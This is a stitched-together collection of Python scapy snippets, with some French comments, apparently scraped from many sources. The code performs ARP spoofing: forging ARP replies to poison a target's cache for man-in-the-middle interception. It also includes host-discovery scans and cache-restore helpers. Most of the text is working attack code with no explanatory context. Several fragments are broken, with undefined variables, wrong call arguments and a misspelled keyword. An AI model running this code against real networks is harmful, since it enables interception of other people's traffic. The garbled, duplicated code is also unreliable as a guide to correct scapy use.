def reset(target_ip, spoof_ip): target_mac = get_mac(target_ip) spoof_mac = get_mac(spoof_ip) arp_response = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=spoof_mac) scapy.send(arp_response, verbose=False)
def spoof(target_ip,spoof_ip): target_mac = get_mac(target_ip) #op=1 for sending op=2 for receiveing packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) scapy.send(packet)
def spoof(victim_ip, spoof_ip): packet = scapy.ARP(op=2, pdst=victim_ip, hwdst=get_mac(victim_ip), psrc=spoof_ip) scapy.send(packet, verbose=0)
def get_mac(ip): packet = scapy.ARP(pdst=ip, hwdst="ff:ff:ff:ff:ff:ff") response = scapy.sr(packet, timeout=1, verbose=False)[0] return response[0][1].hwsrc
import scapy.all as scapy arp_packet = scapy.ARP(op=2, pdst="192.168.225.249", hwdst="00-0C-29-52-47-B6", psrc="192.168.225.230") scapy.ls(arp_packet) print(arp_packet.summary()) print(arp_packet.show())
#On commence le scan réseau afin de découvrir les hôtes présents sur le réseau if action == '1': #print("en cours!") while True: #Saisie de l'adresse IP à scanner par l'utilisateur ip_adr_saisie = input("\nEntrez l'adresse IP du réseau à scanner au format (Ex: 192.168.0.1/24): ") #On fait un block Try/Except pour vérifier si l'adresse IP saisie respecte la bonne nomenclature des IP try: #Avec le module ipaddress on vérifie si l'adresse IP est correcte ip_adr_check = ipaddress.ip_network(ip_adr_saisie, False) break; except: print("Adresse IP invalide. Reéssayez!") #ip_adr_saisie = input("\nEntrez l'adresse IP à scanner: ") #Création du packet ARP arp_packet = scapy.ARP(pdst=ip_adr_saisie) #Création du packet Ether pour le broadcasting. L'adresse MAC utilisé est ff:ff:ff:ff:ff:ff ether = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") #Faire l'empilation broadcast_packet = ether/arp_packet #le résultat est une liste de paires au format (sent_packet, received_packet) resultat = scapy.srp(broadcast_packet, timeout=3, verbose=0)[0] #On crée une liste des clients à récupérer clients = [] for sent, received in resultat: #pour chaque réponse, on ajoute l'adresse ip et mac à la liste `clients` clients.append({'ip': received.psrc, 'mac': received.hwsrc}) #Affichage des résultats print("Les hôtes disponibles sur le réseau sont:") print("IP\t\t\tMAC\n----------------------------------------")
def spoof(target_ip, spoof_ip): target_mac = get_mac(target_ip) packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) scapy.send(packet, verbose=False)
def create_packet(ip): arp_request = scapy.ARP(pdst=ip) # create a ARP request object by scapy broadcast = scapy.Ether( dst="ff:ff:ff:ff:ff:ff") # we have set the destination arp_request_broadcast = broadcast / arp_request return arp_request_broadcast
def spoof(target_ip, spoof_ip): packet = scapy.ARP(op=2, pdst=target_ip, hwdst="52:54:00:12:35:00", psrc=spoof_ip) scapy.send(packet, verbose=False)
def restore(dst_ip, src_ip): packet = scapy.ARP(op=2, pdst=dst_ip, hwdst=mac(dst_ip), psrc=src_ip, hwsrc=mac(src_ip)) scapy.send(packet, count=4, verbose=False)
def get_mac(ip): arp_request = scapy.ARP(pdst=ip) broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") full_request = broadcast / arp_request answered = scapy.srp(full_request, timeout=1, verbose=False)[0] return answered[0][1].hwsrc
def spoof(target_ip, spoof_ip): target_mac = mac(target_ip) packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) # use scapy.ls(scapy.ARP()) to get details of the parameters scapy.send(packet, verbose=False)
def restore(dest, source): dest_mac= scan(dest) source_mac = scan(source) packet = scapy.ARP(op=2, pdst=dest, hwdst=dest_mac, psrc=source, hwsrc=source_mac) scapy.send(packet, count=4, verbose=False)
def spoof(target_ip, spoof_ip): dst_mac = getmac(target_ip) print(dst_mac, "\t", target_ip, "\n") arp_respond = scapy.ARP(op=2, pdst=target_ip, hwdst=dst_mac, psrc=spoof_ip) scapy.send(arp_respond, verbose=False)
def scan(ip): arp_req = sp.ARP(pdst=ip) broadcast = sp.Ether(dst="ff:ff:ff:ff:ff:ff") arp_broadcast = broadcast / arp_req answered = sp.srp(arp_broadcast, timeout=10, verbose=False)[0] return answered[0][1].hwsrc
def restore(destination_ip, source_ip): #source_mac = get_mac(destination_ip) packet = scapy.ARP(op=2, pdst=destination_ip, hwdst="52:54:00:12:35:00", psrc=source_ip, hwsrc="52:54:00:12:35:02") scapy.send(packet, count=4, verbose=False) restore("10.0.2.15, 10.0.2.1")
def scan(ip): arp_request = scapy.ARP() arp_request.pdst= ip print(arp_request.summary())
def createPacket(ip): ip = "192.168.4.1/24" arp_request = scapy.ARP(pdst=ip) # create a ARP request object by scapy broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") # We have set the destination arp_request_broadcast = broadcast / arp_request return (arp_request_broadcast)
def scan(IP): apr_request = scapy.ARP(pdst=IP) broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") apr_request_broatcast = broadcast/apr_request answered_list = scapy.srp(apr_request_broatcast, timeout=1, verbo=False)[0]
import scapy.all as scapy def get_mac(ip): ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=ip), timeout=3, verbose=0) if ans: return ans[0][1].src packet = scapy.ARP(op=2, pdst="192.168.43.132", hwdst="cc:2f:71:12:da:a9", psrc="192.168.43.1") def spoof(target_ip, host_ip, verbose=True): target_mac = get_mac(target_ip) arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at') send(arp_response, verbose=0) if verbose: self_mac = ARP().hwsrc print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))
def restore(destination_ip, source_ip): destination_mac = get_mac(destination_ip) source_mac = get_mac(source_ip) packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac) scapy.send(packet, count=4, verbose=False)
def spoof(target_ip, spoof_ip): # target_mac = get_mac(target_ip) packet = scapy.ARP( op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip ) #setting op=2 creates an ARP response packet instead of the default ARP request packet created with the default value of op=1 scapy.send(packet, verbose=False)
def spoof(ip_target, ip_spoofed, interface): # get the mac address of target device target_mac = get_mac(ip_target) packet = scapy.ARP(op=2, psrc=ip_spoofed, pdst=ip_target, hwdst=target_mac) scapy.send(packet, verbose=False, iface=interface)
def restore(dst_ip, src_ip): dst_mac = get_mac(dst_ip) src_mac = get_mac(src_ip) packet = scapy.ARP(op=2, pdst=dst_ip, psrc=src_ip, hwdst=dst_mac, hwsrc=src_mac) scapy.send(packet, count=10, verbose=False)
def spoof_args(targetIP, spoofedIP): mac = get_target_mac(targetIP) packet = scapy.ARP(op=2, hwdst=mac, pdst=targetIP, psrc=spoofedIP) scapy.send(packet, verbose=False)
def get_mac(ip): request = scapy.ARP(pdst = ip) brodcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff") arp_brodcast = brodcast/request useful = scapy.srp(arp_brodcast, timeout = 1,verbose = False)[0] return useful[0][1].hwsrc
def get_mac(ip): broadcast = scapy.Ether(dst="FF:FF:FF:FF:FF:FF") request = scapy.ARP(pdst=ip) response = scapy.srp(broadcast / request, verbose=0, retry=1, timeout=1)[0] return response[0][1].hwsrc
def arp_request(gateway,target_ip): mac_address = get_mac(target_ip) packet = scapy.ARP(psrc = gateway,hwdst = mac_address,pdst = target_ip,op = 2) scapy.send(packet,verbose = False)
def spoof(destination_ip, source_ip): target_mac = get_mac(target_ip) packet = scapy.ARP(op=2 , pdst=destination_ip, hwdst=target_mac, psrc=source_ip) scapy.send(packet ,verbose =False)
def get_macadd(ip): arp_req = scapy.ARP(pdst=ip) bcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") arp_req_bcast = bcast / arp_req ans_list = scapy.srp(arp_req_bcast, timeout=1, verbose=False)[0] return ans_list[0][1].hwsrc